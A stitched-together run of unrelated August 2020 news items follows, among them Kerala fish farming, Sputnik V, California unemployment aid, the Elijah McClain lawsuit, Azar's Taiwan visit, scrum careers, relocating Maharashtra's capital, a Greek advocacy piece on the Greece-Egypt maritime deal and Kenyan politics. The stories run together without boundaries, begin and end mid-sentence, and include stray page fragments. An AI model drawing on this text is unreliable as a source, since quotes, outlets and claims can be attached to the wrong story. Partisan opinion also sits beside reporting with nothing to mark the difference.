(ICAR-CIBA) has sought the support of the Kerala government to boost the aquaculture production of one of the most sought after fish in the state -- Pearl Spot known as Karimeen in local parlance. Karimeen has always been much in demand, especially among foreign tourists. The popular tourist destination of Kumarakom is known for the availability of this fish in the Vemband lake. Kumarakom shot into prominence after then Prime Minister A B Vajpayee spent his Christmas holidays there two decades back. At Kumarakom a kilogram of Karimeen costs Rs 600 and upwards. Kerala produces a meagre 2000 tonnes of Pearl Spot against a demand of 10,000 tonnes per annum through aquaculture, according to ICAR-CIBA. K K Vijayan, director of CIBA, while speaking at a fish farmers meeting said it is high time that the state had a road map for the successful utilisation of brackishwater resources towards the betterment of Pearl Spot farming practices in Kerala. "Even as the fish has a huge demand and market value in the state, the Pearl Spot farming sector is stagnating, unable to give the expected output. Data shows how far the state is lagging behind the targeted aquaculture production of this fish", said Vijayan. "To increase the production, the sector requires a solid network of farmers, government agencies and aquaculture experts for ensuring the quality seeds and feeds which are essential for the smooth functioning and growth of the farming practice, added Vijayan. "We are ready to provide all scientific and technological support if the state government develops a road map to improve the sector. Under CIBA's guidance, a Pearl Spot hatchery is being run by a farmer in Alappuzha district and the institute provides species-specific feeds and technical support to farmers in different parts of the state. The model can be replicated across the state for Pearl Spot farming", said Vijayan. California Gov. Gavin Newsom speaks at his daily news briefing at the Governor's Office of Emergency Services in Rancho Cordova, Calif., on April 9, 2020. (AP Photo/Rich Pedroncelli, Pool) California Cant Afford Trumps New Unemployment Action, Newsom Says California doesnt have adequate resources to give residents the states portion of an extra $400 a week in unemployment benefits ordered by President Donald Trump amid the COVID-19 pandemic, Gov. Gavin Newsom said on Aug. 10. Trump released a memorandum on Aug. 8 calling for all states to continue providing enhanced unemployment financial assistance at the reduced amount, after the first federal Pandemic Emergency Unemployment Compensation (PEUC) program, which offered $600 a week, expired on July 25. Under Trumps new plan, enhanced unemployment benefits would cost California an extra $700 million a week, Newsom said at a press conference, adding that the states $70 billion reserve fund would soon dip below an acceptable level. When the fund dips below $25 billion, the state would no longer qualify for federal assistance and would be responsible for the entire $2.8 billion weekly cost, he said. Newsom said any allotment received from the federal government as part of the Coronavirus Aid, Relief, and Economic Security (CARES) Act has already run dry. There is no money sitting in the piggy bank of the previous CARES Act to be reprioritized or reconstituted for this purpose, said Newsom. It simply does not exist. Trump offered up to $44 billion of the Department of Homeland Securitys Disaster Relief Fund to supplement state expenditures in the executive action. The funding would cover up to 75 percent of a states unemployment costs through Dec. 27. The other 25 percent is expected to come from a states existing emergency relief funds. Newsom said in order for the state to provide additional financial support, the federal government would need to front those funds to California. The state cant shoulder the financial burden without cutting important services or further negatively affecting businesses or individuals, because the states capacity has been diminished by the loss of tax revenues due to the COVID-19 pandemic, he added. Newsom said Trumps executive order is a radically different approach in response to emergencies than methods that have been applied in the past, saying, historically, the federal government fronts the money, recognizing the states constraints and scarcity of resources. Even a state as large and well-resourced and as well-managed in terms of our reserves and our capacity to borrow, were simply just not in that position, said Newsom. We have unemployment that is worse than weve seen since the Great Depression. Nearly 3 million Californians were unemployed when the original round of enhanced unemployment benefits expired on July 25, according to the U.S. Department of Labor. We are at peril of being in a position where were making false commitments and false promises to millions of Californians if the federal government doesnt step in, Newsom said. Some politicians say Newsom is attempting to blame others for his mismanagement of resources. That press conference by Gov. Newsom was the worst display of obfuscation and accountability dodging Ive ever seen. California deserves better, Assemblyman Kevin Kiley (R-Rocklin) said in a tweet. Russian President Vladimir Putin announced Tuesday the registration of what Russia claims to be the first vaccine for the coronavirus in the world and said one of his daughters had already taken it. "As far as I know, a vaccine against a new coronavirus infection has been registered this morning, for the first time in the world," he said at a meeting with members of the government, RIA Novosti reported. "Although I know that it works quite effectively, it forms a stable immunity and, I repeat, has passed all the necessary checks," Putin said. Clinical trials of the Russian vaccine have been completed in less than two months and phase three trials are set to begin Wednesday, despite the vaccine having already been registered. Countries including the United Arab Emirates, the Philippines and Saudi Arabia are taking part in those trials. No data has yet been published by the researchers and the long-term effects and safety of this possible vaccine currently remain unclear. Putin also said that one of his daughters had been vaccinated against the coronavirus, commenting, "In this sense, she took part in the experiment." International skepticism Responding to the news, the World Health Organization said it is in "close contact" with Russian health authorities about the "possible pre-qualification process for a Covid-19 candidate vaccine which requires rigorous review," Reuters reported, citing a WHO spokesman. At the end of July, the WHO said that there were 26 candidate vaccines in the clinical evaluation stage, including the one registered in Russia that was developed by the Gamaleya Scientific Research Institute of Epidemiology and Microbiology. Russia has denied that it is part of an "arms race" to develop a vaccine, saying it wants to cooperate with other nations. There has been international skepticism that Russia has developed an effective and safe vaccine, however. White House coronavirus advisor Dr. Anthony Fauci, for instance, has cast doubt on the approaches to testing in Russia and China. Dr. Scott Gottlieb, the former U.S. Food and Drug Administration commissioner, urged caution about Russia's coronavirus vaccine, telling CNBC on Tuesday that he would "certainly not" take it outside of a clinical trial where patients are closely monitored. "They've cleared the equivalent, really, of a phase 1 clinical trial in terms of putting it in 100 to maybe as many as 300 patients so it needs to be evaluated in a large-scale clinical trial," he said on "Squawk Box." Russia's vaccine development is "certainly not ahead" of the United States, added Gottlieb, who is a board member of Pfizer, which is developing a potential vaccine. Full-scale production in September Russia's sovereign wealth fund, the Russian Direct Investment Fund (RDIF), said Tuesday that it's backing the production of the vaccine which will be called 'Sputnik V' in foreign markets. It said there had been "considerable interest" from abroad. "We have received preliminary applications for over 1 billion doses of the vaccine from 20 countries. Along with our foreign partners, we are already prepared to manufacture over 500 million doses of vaccine per year in five countries, and the plan is to ramp-up production capacity even higher," the wealth fund said in a statement. Full-scale production of the vaccine is expected to begin in September, it added. Kirill Dmitriev, CEO of RDIF, rebuffed international skepticism over the vaccine, telling reporters Tuesday that bias against it was politically motivated. "(The) Russian vaccine has been questioned, and will be questioned, regardless of anything we do," Dmitriev said. "We know that before any major announcements already there were accusations that the Russian vaccine may have been stolen, which is completely false, and now we publish on the Sputnik.com site all the research dating back to six years ago and how the vaccine was created." With regard to the vaccine trial data not yet being published, Dmitriev conceded that, "some of the concerns are valid." He said the results from phase 1 and 2 trials would be published shortly, but did not give a date. "We've seen the results of clinical trials phase 1 and 2, we've seen animal results and they are incredibly impressive, and all of this is going to be published," he said. The registration of the vaccine had been signaled earlier this month. Russian Health Minister Mikhail Murashko told reporters in early August that clinical trials of the vaccine were completed. "Clinical trials of a coronavirus vaccine developed by the Gamaleya center are over, paperwork is underway for the vaccine's registration," Murashko said, according to Russian news agency Tass. Alexander Brown is the new chair of Canadas largest school board. The Willowdale trustee was voted in late Monday afternoon during a special meeting of the Toronto District School Board. Brown, a trustee for six years, said he feels honoured to be elected as chair of the TDSB during this historic moment in our boards history. As we look ahead and prepare to meet the challenges of reopening our schools in September, it is imperative that we continue advocating for funding from the province for key issues like smaller class sizes and necessary capital improvements so that our schools are as safe as possible for staff, students and the community. Robin Pilkey recently announced she would be stepping down after five years at the helm, and was the longest-serving chair of the board, and one of the longest-serving chairs currently in the province. Via Twitter, the board said Thank you @RobinPilkey for your service and advocacy. Pilkey had previously told the Star she had planned to leave the chair position this month, but will stay on as trustee for Parkdale-High Park and provide support for the new chair. She said she felt it was time for a new leader, one to lead the search for a new director of education, as the board deals with plans for reopening this fall amid the COVID-19 pandemic. Former director John Malloy recently left the board to become director of education in a small, San Francisco-area district, and was replaced by interim director Carlene Jackson, the first Black woman to lead the board. Then, Jackson was named the provinces first comptroller general and deputy minister in the Treasury Board Secretariat. She starts the new position in October. It is unlikely that a new, permanent director will have been hired by then, so another interim will replace her. The Toronto board, among the largest in North America, has 250,000 students in about 600 schools. The state Department of Public Health issued the first fines on Monday for violations of the states travel advisory, part of Gov. Ned Lamonts long-promised stepping up of enforcement of his executive orders to prevent the spread of coronavirus. The state also further authorized local officials to enforce the many orders. Lamont said people can expect stricter enforcement of the private gathering size restrictions, limiting groups to 25 people indoors and 100 people outdoors. He also said Connecticut will fine or even shut down businesses that violate capacity requirements and other COVID-safety measures. For people who claim a medical exemption for wearing a mask, theyll now need to carry a notice from their doctor that says as much, Lamont said, noting that people have begun to abuse the medical exemption. Overwhelmingly people are doing the right thing, but for those who arent, please be on notice, Lamont said. Lamont spoke from a position of advantage, as Connecticut continues to keep the illness at bay compared with other states. The state is still trending at less than 1 percent positivity rate for coronavirus tests. Three people died with the virus over the weekend, and 247 people tested positive for the virus. That brings the states average to 0.7 percent positive tests over the last week, and it maintains an average of about two new cases per day per 100,000 people well below the national average of 15 per 100,000. Lamont said several businesses in Bridgeport were shut down in recent weeks after reports of large gatherings of young people that went late into the night. There have been more COVID cases in Bridgeport than other parts of the state but state Chief Operating Officer Josh Geballe said not all cases have been linked to a specific event or venue. In Bridgeport, there are a number of bars masquerading as restaurants, and they were having big parties in there, and Bridgeport with local enforcement stepped up and shut them down and took away their license, Lamont said. So let this be a warning to people that we are taking this seriously and local regulation, local enforcement is the best and I salute what they did in Bridgeport. The travel advisory violations, though issued Monday, were incidents that occurred several weeks ago, Lamont said. One person flew to Connecticut from Louisiana, and the other from Florida. Both refused to fill out the travel advisory questionnaire, Lamont said, resulting in $1,000 fine each. One of those people did not quarantine, resulting in a second $1,000 fine for that person, Lamont said. He did not identify the people charged. The violations were issued as the result of tips sent to the Department of Public Health that resulted in an investigation, Geballe said. No COVID-19 cases have been linked to the people who violated the orders. Geballe said about 20,000 travel forms have been filled out by travelers, with 1,000 more added each day. They are used in investigating potential violations of the travel advisory. Were not taking our eye off the ball and were going to continue to be strict, Lamont said. kkrasselt@hearstmediact.com; 203-842-2563; @kaitlynkrasselt Six years ago, Matt Wursta thought his employer, Google, was doing an excellent job of building cloud solutions for businesses--but a terrible job of teaching companies how to use them. So he launched his eponymous firm in 2014 to guide business owners through the virtual shelves of Google's tool shop. The Austin-based founder had banked on his Google connections to grow his customer base, but old colleagues weren't so quick to support his new venture. Not yet two years in, Wursta was on the brink of bankruptcy when a favor from an old friend floated the company long enough for it to catch a tailwind. When the pandemic hit this spring, Wursta was doing upwards of $10 million in sales. As Americans were displaced from their offices almost overnight, the founder and his team paid it forward, big time. Wursta No. 232 2020 Rank 1,875.2% Three-Year Growth Austin Headquarters When I was 10, I spent my weekends pouring sodas and wiping tables at my family's restaurant, Willy Joe's, so I could afford to buy G.I. Joe action figures. I've always wanted to do my own thing. Eventually, I got a job at Google and saw there wasn't enough training to help partners adjust to new cloud software tools, which were designed to make it easier for any size organization to be competitive. That prompted me to say, I'm going to do this. I launched Wursta in 2014. I thought, well, it should be easy. I'll just step out and call on old friends. But my former colleagues told me, call us back when you're, you know, a real company with revenue. Gradually, I added a few hires. For the first two years, we didn't have any customers. We couldn't figure out how to get a referral to save our lives. We were going to go bankrupt. That's when I sat down with an old friend in New York. I told him I couldn't come up with my monthly operating budget. He said that if somebody wanted to write a white paper about our industry, he would pay $10,000 for it. He saved me, and it was the last time that we really had a crisis like that. We started contracting out our team to other, bigger Google partners who needed our expertise. That helped us get our own contract with the VC firm General Catalyst. Every partner there was someone important. When we delivered there, it really resonated with Google. That tipped the scale. We'd been growing at a good clip when Covid-19 hit. Once we realized the economy would be shut down, we wanted to do everything we could, for my dad at Willy Joe's and everyone like him. It was an all-hands-on-deck effort. Someone even came home early from vacation to work with the team through the weekend. There's such a thing as karma. Integrity will compound itself. We built a "go remote" website in a week to help people take advantage of Google's tools and other resources. We offered free daily training sessions and saw a 130 percent increase in website traffic. We told companies, we will either do all the work for free or give you the instructions to do it for free, so your team can go home. Companies had to make changes quickly. H&W Electrical technicians needed a secure way to share documents as they traveled around South Carolina. We helped an auto company transition its thousands of employees to one system so they could communicate in a single, secure environment. One of our biggest projects was helping FullBloom provide distance learning for thousands of students in special education programs. Normally, a project like that would take half a year. Working with FullBloom, it was about a three-week sprint--and a huge relief for teachers to be able to connect with their students. Overall, we helped almost 200 companies for free or at significantly discounted rates. I'm not worried about having done so much without compensation. There's such a thing as karma. Integrity will compound itself. Our goal has always been to help other organizations use technology to maximize how they can compete. We've been able to live that out during this crisis. EXPLORE MORE Inc. 5000 COMPANIES The McClain family filed a federal civil rights lawsuit on Tuesday in relation to 23-year-old Elijah McClain's death in the Denver suburb of Aurora in August last year Elijah McClain's parents are suing a Colorado police department over his death after the unarmed black man was stopped on the street and put into a chokehold last year. The McClain family filed a federal civil rights lawsuit on Tuesday in relation to the 23-year-old's death in the Denver suburb of Aurora in August last year. His family said they were seeking both accountability for the loss of a 'beautiful soul' and to send a message that 'racism and brutality have no place in American law enforcement'. 'We have filed this civil rights lawsuit to demand justice for Elijah McClain, to hold accountable the Aurora officials, police officers, and paramedics responsible for his murder, and to force the City of Aurora to change its longstanding pattern of brutal and racist policing,' the family said in a statement. McClain was walking alone along a street in Aurora on August 24, 2019 after buying iced tea from a convenience store when he was stopped by three white officers. The officers - Nathan Woodyard, Jason Rosenblatt and Randy Roedema - said they were responding to a call about a suspicious person wearing a ski mask and waving his arms. The 911 caller had told the dispatcher that the man, identified as McClain, 'might be a good person or a bad person' and noted that he didn't have any weapons on him. His sister later said that McClain, who worked as a massage therapist and played violin, would sometimes wear a ski mask outside because he had anemia and would often get cold. His family said they were seeking both accountability for the loss of a 'beautiful soul' and to send a message that 'racism and brutality have no place in American law enforcement'. His mother Sheneen McClain is pictured during a BLM protest over his death The officers who stopped McClain on the street and put him in a chokehold are Jason Rosenblatt, Nathan Woodyard and Randy Roedema (left to right). None of the officers were charged over McClain's death When he was approached by the officers, McClain insisted he had done nothing wrong and kept walking. Bodycam footage shows McClain being tackled to the ground and put in a chokehold by the officers. Paramedics later injected him with 500mg of the sedative ketamine to calm him down. During the confrontation, McClain said he could not breathe before vomiting repeatedly, fainting and then going into cardiac arrest. He was later declared brain dead and taken off life support several days later. The lawsuit filed on Tuesday claims one officer jammed his knee into McClain's arm 'with the sole purpose of inflicting pain by forcefully separating Elijahs bicep and triceps muscles'. It also says two of the officers reported that all three of them simultaneously placed their body weight on McClain after a chokehold. One officer estimated that the collective weight on McClain, who weighed 140 pounds, to be over 700 pounds. When he was approached by the officers, McClain insisted he had done nothing wrong and kept walking. Bodycam footage shows McClain being tackled to the ground and put in a chokehold by the officers During the confrontation, McClain said he could not breathe before vomiting repeatedly, fainting and then going into cardiac arrest. He was later declared brain dead and taken off life support several days later The national reckoning over racism and police brutality following George Floyd's death in Minneapolis in May brought renewed criticism to Aurora police over McClain's death. The three officers did not face any charges over McClain's death. Last month, three Aurora police officers - including one involved in initial ordeal - were fired and a fourth resigned after they shared photographs they took of themselves re-enacting the chokehold officers used on McClain. Rosenblatt, Erica Marrero and Kyle Dittrich were fired, while a fourth officer, Jaron Jones, resigned last month after the photos emerged. One photo depicted Dittrich and Jones recreating a carotid neck hold, while a grinning Marrero stood nearby. The pictures were taken near the site where the fatal struggle took place. Rosenblatt, who was among the officers who subdued McClain, was fired for responding 'Haha' after receiving the photo. In June, Colorado Governor Jared Polis ordered prosecutors to reopen the investigation. Colorado District Attorney Dave Young, the prosecutor who determined there was no wrongdoing by the officers, defended his decision not to bring charges against them. Last month, three Aurora police officers - including one involved in initial ordeal - were fired and a fourth resigned after they shared photographs they took of themselves re-enacting the chokehold officers used on McClain US health chief conveys Trump's message of support to Taiwan amid tensions with China Iran Press TV Monday, 10 August 2020 5:35 AM The US health secretary the most senior official to travel to Taiwan in four decades has conveyed President Donald Trump's message of "strong support" to the self-ruled island's leader, Tsai Ing-wen, during a visit sharply condemned by mainland China. US Health Secretary Alex Azar held a meeting with Tsai on Monday hours after arrival in Taipei at the head of a delegation. "It's a true honor to be here to convey a message of strong support and friendship from President Trump to Taiwan," he told Tsai. The visit took place despite warnings from Beijing, which views the self-ruled island as a breakaway province that should be reunited with the mainland under the internationally-recognized "One China" policy. The US health chief praised the Tsai government's steps to fight the coronavirus outbreak, saying, "Taiwan's response to COVID-19 has been among the most successful in the world, and that is a tribute to the open, transparent, democratic nature of Taiwan's society and culture." In response, Tsai welcomed Azar's visit as "a huge step forward in anti-pandemic collaborations between our countries." She said that her government will be cooperating with the US in the health sector. Tsai also accused Beijing of using its influence to keep Taiwan out of international organizations such as the World Health Organization (WHO). "I'd like to reiterate that political considerations should never take precedence over the rights to health," Tsai said. "The decision to bar Taiwan from participating in the WHA (the World Health Assembly), is a violation of the universal rights to health." China is opposed to the island's independent membership in the WHO, arguing that it is upon the mainland to represent it on the international stage. Owing to Washington's support, however, Taiwan managed to attend the WHA session in May. China condemned the move as a political stunt aimed at promoting Taiwan's attempts to gain independence from the mainland. Beijing and WHO say Taipei has been provided with all the help and information it needs during the coronavirus pandemic, something Taiwan disputes. The US official's visit to Taiwan deals yet another blow to the already-troubled relations between Washington and Beijing, which are locking horns over a range of issues, including the pandemic, trade, Hong Kong and the South China Sea. America like most of the international community adheres to the 'One China' policy. The US cut formal ties with Taipei in 1979 in favor of Beijing, but under Trump, it has turned into the island's largest arms supplier and a staunch supporter of its pro-independence leader, provoking further tensions with China. Beijing has warned that the visit would pose a threat to peace and security, pledging retaliation. During his three-day stay, Azar will also meet with his health counterpart Chen Shih-chung and Taiwan's minister for foreign affairs Joseph Wu. 'China sends warplanes as Azar visits Taiwan' On Monday, Taiwan said Chinese air force jets briefly had crossed the mid-line of the Taiwan Strait as the US health chief visited the island. It said China's J-11 and J-10 fighter aircraft were tracked by land-based Taiwanese anti-aircraft missiles and were "driven out" by patrolling Taiwanese aircraft. China's defense ministry did not comment on the incident. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address live bse live nse live Volume Todays L/H More Scrum masters are in demand across the world. It is one of the top 15 emerging roles in 2020, and was one of the most promising jobs in 2019, according to LinkedIn. A Study.com report suggests that the role will see an annual growth of about 24 percent till 2026, as companies are steamlining their software development process and adopting what is called the Agile method. According to UpGrad, an online learning platform, this is resulting in a huge demand for scrum masters and an increased pay scale. In India, the average salary for a scrum master is Rs 14 lakh per annum, according to UpGrad. A beginner could start with a salary of Rs 6 lakh per annum and it could up to Rs 22 lakh per annum. So, what is Scrum? To understand this, let us go back a bit to understand software development. The software development process used to follow the Waterfall method, where development and testing happened in separate phases. Over the years, this has given way to the Agile method, where testing and development happens in tandem. While Waterfall continues to exist, Agile is becoming a norm in the industry. Agile has its advantages. For instance, the process is faster, and changes to the system can be made earlier rather than at the end of the software development process. That also makes the project cost- efficient. The Agile methodology has different frameworks such as Scrum and Kanban. Scrum is most widely adopted. Shankar*, a scrum master working in an IT firm, explained that if a large, complex project is divided into different modules/functionalities/sprints, each of them could be called a scrum. A sprint is a short, time-boxed period when a scrum team works to complete a set amount of work. This technically means that each scrum will behave just like an individual project, led by a scrum master, who works with the developers and the testers to finish that particular product within a particular period of time, he added. In case of Kanban, delivery dates are flexible and products are developed on a need-basis. While scrum is used for projects that have defined deliverables, Kanban is used for projects where requirements are volatile. Scrum masters responsibilities Scrum master plays more of a managerial role than a technical one. But not every manager could become a scrum master, as he/she needs to have an understanding of the scrum methodology and how to implement it. Janaki*, a scrum master for a banking client in Chennai, explained that their capabilities include both domain and technical knowledge of the project. He/she works with different stakeholders such as clients, developers and testing team to ensure that the final product meets all criteria and is delivered on time. So, your day starts with client calls, updating them about what is done/not done and where the project is positioned. In a way, a scrum master is critical for project completion as he/she alone is aware of the criticalities and the need to guide the team based on Agile principles, she added. Who is hiring? Job portal Naukri.com has listed more than 10,000 jobs for scrum masters across India as of August 11. Companies that are hiring include Tech Mahindra and Capgemini. Actually, any company with complex projects that need to be executed in Agile will need a scrum master. It would be a significant number since newer projects are all being done in Agile, said Shankar. How can you become a scrum master? Shankar said that there are three organisations that offer scrum certifications -- Scrum Alliance, Scrum.org and ScrumStudy. Of the three, Scrum Alliance is the oldest and most widely accepted certification, he added. The certification costs about Rs 30,000, and it has to be renewed every 2-3 years, Shankar said. He got his certification from ScrumStudy. All certifications have an expiry date and you need to get re-certified. It makes sense since technology keeps changing and certification needs to reflect that as well, he explained. *Shankars and Janaki's full names are not disclosed since they are not authorised to speak to media. This has gotta be one of the funniest excuses to break stage 4 lock down. At the moment, residents of Melbourne are under strict lock down rules, meaning they can't be outside of their homes between 8pm and 5am, and can only stay within 5kms of where they live. Victoria Police caught a Melbourne bloke in his car on Sunday evening, more than 5kms away from his home. When the cops asked why, he told them that his flatmate was having loud sex with a partner and he needed to have some space. Let's be honest, we've all been there. There's nothing worse than hearing that sort of carry on coming from your flatties room at the best of times, let alone during lock down. Buuut, perhaps this dude should've just gone for a walk instead. Victoria Police handed out 270 fines to people over the weekend and have probably heard every excuse under the sun at this point. Let's hope NZ stays well away from level 4 - stay at home and wash ya damn hands. Ramanath Jha In the progress of COVID-19 in India, Mumbai, unfortunately emerged as one of the most ravaged by the virus. At one point, a little over 20 percent of all national cases had found refuge in this city housing about one percent of Indias population. As Maharashtra struggles to cope with this unprecedented challenge, there are other inadequacies about Mumbai that spring to a questioning mind. One of them: Is Mumbai any longer the right headquarters for the state to work from? Would it not be much wiser to look for another city as its new capital? This is a highly vexed issue; however, it may be worthwhile giving it a dispassionate look. This article lists seven serious drawbacks that seem to disqualify Mumbai as the continuing capital of Maharashtra. Location To begin with, for a state almost as large as Germany in geographical area and with a population as large as the combined populations of France and the United Kingdom, it is somewhat incongruous that its capital is tucked away in the remotest possible corner of the state. Its farthest districts (Gadchiroli, Gondia) are more than 1,000 km away. Despite the fact that improved transport and technology have cut distances and have made communication easy, the approachability of the capital does matter. This becomes clear when we find that the economically best-off region of the state (western Maharashtra) is closest to Mumbai and the worst (Marathwada and Vidarbha) are the farthest. The significance of a state capital in equitable economic distribution warrants that the capital city is more centrally located. It appears that as long as Mumbai continues to be the states capital, acute regional imbalances are likely to continue. Governance Equally significant is the kind of hindrance the city poses to overall governance. Almost all governmental functionaries, except those who live close to Mantralaya (administrative headquarter of Maharashtra), spend inordinately long hours in commuting. Strangely, Mumbai has a similar locational disadvantage as the state top government offices are housed in the citys south and workers live in far-away north. The maximum number of office-goers travel by local suburban trains or buses. Both are packed like sardines during peak-hour journeys towards office and back home. Travel in these conditions tires workers out, tells on their efficiency and impacts their overall well-being. This impacts the speed and quality of the decision-making process in government. Since the Mantralaya makes decisions for the entire state, the weaknesses of Mumbai cast an unfavourable shadow on the entire state. Pandemic In the background of the pandemic, continuing the capital in Mumbai looks all the more worrisome. It is quite evident from the last few pandemics that viruses have urbanised, have hit mega cities hard and have been difficult to control in such urban settlements on account of large populations and heavy densities. Furthermore, COVID-19 is not the first and will not be the last pandemic to trouble Mumbai. Pandemics paralyse movement by rendering public transport a casualty. Mumbais immobility, by virtue of being the states capital, seriously immobilises the entire state, since in effect, it disables decision-making for the entire state. Presently, in the midst of this pandemic, running suburban trains in crush capacity would be an open invitation to the virus to run riot. Mumbai, therefore, will continue to be only partially back on its rails for several monthsand the whole state will pay the price. Climate Change The impact of climate change on Mumbai cannot be ignored. Scientists have agreed that global warming is inducing rise in sea levels. Over time this will put coastal cities at the risk of partial/full submergence. A study by Climate Central, a US research institute, reveals that Mumbai would be among the cities to be severely impacted by 2050. The areas that run the risk of inundation cover a very large portion of Mumbai, including south and suburban Mumbai. That date is only 30 years away, a short time for the massive preparation to shift the capital. In view of these emerging scientific facts, it would be wise to begin the process of phase-wise decongestion of Mumbai and the search for a new capital. Capital City Dominance One of the other sad fallouts of a capital being in a mega city is that the city seeks to corner an inordinate amount of governmental attention to itself. Mumbai has about 10 percent of the states population and generates more than 40 percent of its GDP. The disproportionately high economic significance of the city creates a kind of capital city dominance. It is common knowledge that some of the key departments in Mantralaya can scarcely get time to look at cities other than Mumbai, the Mumbai Metropolitan Region (MMR) and Pune. Additionally, since the stakes are very high in Mumbai, vested interests set shop in the city and seek to influence government decisions in their favour. The location of Mantralaya in the city makes it easy to escalate unfavourable decisions taken at lower levels to higher levels for review and a more favourable result. It is these factors that have convinced many urban thinkers to conclude that structural conditions for more inclusive development requires the prevention of the collusion of interests between business and government. Unfortunately, Mumbai nurtures that culture. Terrorism Mumbais size, significance and ability to make international news has made the city the target of some of the worst terrorist attacks in the country. On March 12, 1993, a series of bomb explosions at different city locations killed 257 persons and injured more than a thousand. On August 25, 2003, two car bombs snuffed out 54 lives and injured more than 200 others. In July 2006, a series of bombs in Mumbais suburban railway killed 20 people. In November 2008, major city destinations were attacked that killed 174 men, women and children and wounded 300. Many other smaller terrorist incidents have taken place making Mumbai a preferred hunting ground for terrorism. Weather Neither is Mumbais weather congenial. Torrential rains in Mumbai followed by inundation of parts of the city has now become an annual feature, bringing life in Mumbai to a standstill for several days. Mumbai is set in the Konkan belt that is a heavy rainfall region. Committees that have studied instances of deluge in Mumbai agree that a warmer atmosphere brought about by climate change will get Mumbai more rains in the future in fewer but more intense events. These vulnerabilities of Mumbai have largely been ignored in the past and huge amounts of construction in disregard of environmental safeguards have been on-going for decades, prompting a recent outburst from Ratan Tata against the ways of Mumbai builders. The consequences of such recklessness were surfacing intermittently for a long time but now have become more aggravated. There is no relief, however, even when the monsoons are not around. Mumbais weather throughout the year is hot and humid and quite uncomfortable outside the air-conditioned environment. In the circumstances highlighted above, it would appear a fair argument that the state should move to a city that does not have the disadvantages of Mumbai and can provide an improved and inclusive working atmosphere. The city to select should be more centrally located, have a nicer weather, well-connected by land and air and decently provided for the living population. A million-plus city that does not require large infrastructure investment and can quickly be refurbished for good governance would be ideal. (This first appeared in the ORF) The signing of an Exclusive Economic Zone Agreement between Greece and Egypt is a major turning point for both countries and the rest of the region, writes Ioannis E Kotoulas On 6 August, Greece and Egypt signed an historic deal delimiting their Exclusive Economic Zones (EEZs), an important development for stability in the Eastern Mediterranean. The deal was a result of many diplomatic contacts between the diplomatic and technical personnel of both countries and 13 rounds of bilateral negotiations. The EEZ deal promotes the national interests of both countries in various aspects and is based on international law. First, and most importantly, the agreement de facto and de jure obliterates the EEZ memorandum between the Tripoli government led by Prime Minister Faisal Al-Sarraj in Libya and the regime led by Turkish President Recep Tayyip Erdogan signed in 2019. The Al-Sarraj-Erdogan Memorandum is illegal from the point of view of international law and was based on tactics of extortion used by Turkey against the then crumbling Tripoli regime, as Libyan officials have recently revealed. The Greek-Egyptian EEZ now permanently abolishes the ambitions of Turkish expansionist plans. Second, the Greek-Egyptian EEZ deal allows the two countries to move on with the exploitation of their natural resources without external interference and on a legal basis guaranteed by international law. Again, we should remind ourselves that Turkey is one of the few states worldwide not to have signed the United Nations Convention for the Law of the Sea (UNCLOS). Third, the EEZ deal creates a new diplomatic nexus in the Mediterranean and a network of similarly minded states including Egypt, Greece and Cyprus, with France and the US acting as external actors providing diplomatic support. Egypt now shares sea borders with Greece and Cyprus, two EU member states, and it has dealt a blow to a revisionist Turkey that envisages itself as an historic rival of Egypt. The agreement is the result of the joint will of two independent states that have reached a result based on mutual respect and shared interests. It is fully in compliance with international law, and especially the law of the sea. For Greece, it confirms the fundamental principle that all islands, like other land territories of the Greek state, possess full economic zones. For Egypt, this agreement allows both countries to move forward in maximising the utilisation of the resources available in the Exclusive Economic Zone, especially promising oil and gas reserves, as Egyptian Foreign Minister Sameh Shoukry has said. The agreement was greeted in friendly terms by Arab countries such as the UAE and Bahrain, as well as by Libyan National Army (LNA) representatives who have stressed that Greece should proceed with a corresponding agreement with the Libyan parliament in Tobruk. Libya is now at a crossroads, as a new legal and geopolitical reality has been created between Egypt and Greece, and it has the choice to join this new Greek-Egyptian nexus and conclude a deal with Greece, thus ensuring EU diplomatic and financial support. Greece and Cyprus are Egypts best diplomatic allies in the EU framework, and they will continue to be so to an even greater extent now that the legal realities of the EEZ have been implemented. Libya can benefit from this diplomatic nexus and under the guidance of Egypt sign an EEZ deal with Greece. The EEZ Agreement is only a partial demarcation agreement, however, and it needs to be completed by another Egyptian-Greek agreement. According to Article 121 of UNCLOS (1982), the territorial sea, the contiguous zone, the exclusive economic zone and the continental shelf of an island are determined in accordance with the provisions of this convention applicable to other land territory. This in effect means that the Greek island system of Kastellorizo, like all other territories of the Greek state, possesses an economic zone in full. And the fact that Turkey has not signed the UNCLOS does not allow it to disregard the validity and obligatory aspect of the new treaty, which is now customary international law. Any delimitation should be made according to the situation arising out of the physical and political geography of the delimitation area, as international law indicates. The EEZ between Greece, Egypt and Cyprus forms a united bloc that will keep revisionist actors outside. Further steps can be taken that will deepen the strategic cooperation between Greece and Egypt, including naval and aerial military cooperation. Egypts military, due to initiatives taken by the government under President Abdel-Fattah Al-Sisi, is one of the strongest in the world. Greece possesses the 16th strongest airforce in the world and a considerable naval fleet. The Mediterranean is our joint geopolitical space. The signing of an EEZ Agreement between our two countries is a major turning point for the geopolitical equilibrium of the region and the result of a pro-active, strategic mentality in both the Egyptian and the Greek governments. *The writer is a lecturer in geopolitics at the University of Athens in Greece. *A version of this article appears in print in the 13 August, 2020 edition of Al-Ahram Weekly Search Keywords: Short link: - Munya has remained an ardent supporter and defender of President Uhuru Kenyatta ever since he was appointed to the Cabinet - Jubilee Party vice-chair David Murathe, a close ally of the president, said time had come for the CS to take over the region's leadership - Other potential heirs of Uhuru's throne in Mt Kenya include former presidential candidate Peter Kenneth, ex-CS Mwangi Kiunjuri and Governor Anne Waiguru The search for Mt Kenya's next political kingpin has taken shape with reports now indicating Agriculture Cabinet Secretary Peter Munya is poised to be the next regional leader after President Uhuru Kenyatta. Munya has remained an ardent supporter of Uhuru and demonstrated loyalty ever since he was appointed to the Cabinet in 2018 as the CS for Trade. He was later transferred to the Agriculture docket following the dismissal of Mwangi Kiunjuri. READ ALSO: Beatrice Elachi: Nairobi county assembly Speaker resigns Agriculture CS Peter Munya. Photo: Peter Munya. Source: UGC READ ALSO: Magazeti ya Jumanne, Agosti 11: Nairobi ndio kaunti tajiri zaidi Kenya Jubilee Party vice-chair David Murathe is said to have rooted for Munya's leadership during a cultural meeting held at the CS's home over the weekend. Murathe who is a key ally of Uhuru reportedly described the former Meru governor as a great leader whose time to lead the community had come. According to a source quoted by The Standard, the Jubilee Party official said: Munya is now ready to be installed as the Mt Kenya kingpin. READ 